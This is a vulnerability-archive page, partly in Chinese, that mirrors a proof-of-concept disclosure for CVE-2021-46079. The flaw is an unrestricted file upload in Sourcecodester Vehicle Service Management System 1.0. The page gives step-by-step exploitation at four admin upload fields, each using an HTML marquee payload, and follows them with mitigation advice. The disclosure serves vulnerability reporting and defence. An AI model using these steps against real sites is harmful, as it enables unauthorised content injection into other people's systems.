目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-46079 PoC — Sourcecodester Vehicle Service Management System 代码问题漏洞

来源
关联漏洞
标题: Sourcecodester Vehicle Service Management System 代码问题漏洞 (CVE-2021-46079)
Description:Sourcecodester Vehicle Service Management System是开源的一个PHP 项目。用于汽车维修/服务店或企业的简单 Web 应用程序。 Sourcecodester Vehicle Service Management System存在安全漏洞,该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题。
Description
CVE-2021-46079 - An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to Html Injection.
介绍
# CVE-2021-46079

### Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection
### Exploit Author: <a href="https://www.plsanu.com">P.L.Sanu</a>
### CVE: CVE-2021-46079
### CVSS: 7.2 HIGH
### References: 
- https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injection
- https://nvd.nist.gov/vuln/detail/CVE-2021-46079
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46079

### Description:
An Unrestricted File Upload vulnerability exists in Sourcecodester Vehicle Service Management System 1.0. A remote attacker can upload malicious files leading to Html Injection.

### 1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

### Exploit:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to My Account section http://localhost/vehicle_service/admin/?page=user

### Payload:
```html
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
```
3. Save the above html code For Ex:Html Injection.html
4. In My Account Section enter all the required details and browse the html file in Avatar.
5. Click on update button.
6. Open the avatar image in new tab.
7. Html Injection is Executed.

### 2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

### Exploit:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to User List section and click on Create New button.

### Payload:
```html
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
```
3. Save the above html code For Ex:Html Injection.html
4. In Create New User Page enter all the required details and browse the html file in Avatar.
5. Click on Save button.
6. Open the avatar image in new tab.
7. Html Injection is Executed.

### 3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

### Payload:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

### Payload:
```html
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
```
3. Save the above html code For Ex:Html Injection.html
4. In Settings Section enter all the required details and browse the html file in System Logo.
5. Click on update button.
6. Open the System Logo image in new tab.
7. Html Injection is Executed.

### 4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

### Exploit:
1. Login to the admin panel http://localhost/vehicle_service/admin
2. Navigate to Settings section http://localhost/vehicle_service/admin/?page=system_info

### Payload:
```html
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
```
3. Save the above html code For Ex:Html Injection.html
4. In Settings Section enter all the required details and browse the html file in Website Cover.
5. Click on update button.
6. Open the Website Cover image in new tab.
7. Html Injection is Executed.

### Impact:
An attacker can able to upload malicious file in multiple endpoints it leads to Html Injection.

### Mitigation:
It is recommended to implement the following:

- Never accept a filename and its extension directly without having a white-list filter.
- If there is no need to have Unicode characters, it is highly recommended to only accept alpha-numeric characters and only one dot as an input for the file name and the extension.
- Limit the file size to a maximum value in order to prevent denial of service attacks.
- Uploaded directory should not have any "execute" permission.
- Don't rely on client-side validation only.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →